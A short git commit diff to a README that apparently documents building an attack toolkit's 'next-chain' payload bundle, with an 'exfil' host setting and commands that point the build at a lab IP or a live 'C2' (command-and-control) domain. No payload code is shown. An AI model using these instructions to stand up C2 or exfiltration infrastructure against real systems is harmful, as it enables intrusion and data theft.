feat: ds
This commit is contained in:
@@ -17,10 +17,15 @@ exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
|
||||
```
|
||||
|
||||
```bash
|
||||
# 本地实验室
|
||||
php artisan ds:build --origin http://192.168.31.130:8000
|
||||
|
||||
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
|
||||
php artisan ds:build --origin https://你的域名
|
||||
|
||||
# 等价
|
||||
cd channel-builder-ds
|
||||
python3 tools/build.py
|
||||
python3 tools/build.py --host 192.168.31.130 --port 8000
|
||||
python3 tools/build.py --origin http://192.168.31.130:8000
|
||||
python3 tools/build.py --origin https://你的域名
|
||||
```
|
||||
|
||||
Writes `../public/next-chain/` (atomic replace). `source/` is never mutated.
|
||||
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。
|
||||
|
||||
Reference in New Issue
Block a user